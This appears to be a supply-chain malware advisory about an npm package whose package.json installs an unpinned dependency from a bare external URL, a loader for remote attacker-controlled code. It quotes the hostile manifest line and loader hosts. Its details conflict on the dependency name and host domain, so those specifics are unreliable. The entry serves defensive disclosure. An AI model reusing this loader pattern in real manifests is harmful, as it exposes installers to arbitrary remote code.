GCVE-110-OSM-2026-11589

package.json at line 14 declares a runtime dependency `microfrontend` whose source is a bare HTTPS URL (`https://repo.artifactorymanager.com/bx-ui-framework/authentication`) rather than an npm registry version range. On `npm install`, npm fetches whatever bytes that host returns and installs them as a dependency, running any lifecycle scripts contained in the fetched artifact. There is no version pin, no integrity hash, and no signature check, so the delivered content is fully controlled by whoever operates `repo.artifactorymanager.com`, and can change between installs. The shipped package itself is a minimal stub, so this manifest entry is effectively the entire installable payload. The dependency key (`microfrontend`) does not match the package's own name, and the host domain is unrelated to any npm-scope publisher identity for `@bx-ui-framework`. Judge assessment: This looks like a dependency-confusion loader intended to pull attacker-controlled code from `https://repo.remoteknight.com/bx-ui-framework/authentication` rather than from the npm registry. The `url-dependency` finding is critical, and the IOC is classified as a plaintext loader in `package.json`, which means the install-time payload is externally controlled and can change between installs. The package itself is only a trivial `index.js` stub exporting `hello()`, so the operational behavior is effectively in the remote dependency, matching a supply-chain attacker model. The inflated `15.0.0` version, new publisher account, and no repository metadata further support that this is a deliberate masquerade rather than a normal library release. ENTRY index.js (bin: index.js) - URL-Based Dependency in package.json: ""dependencies": { "@bx-ui-framework/authentication": "https://repo.remoteknight...." DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs)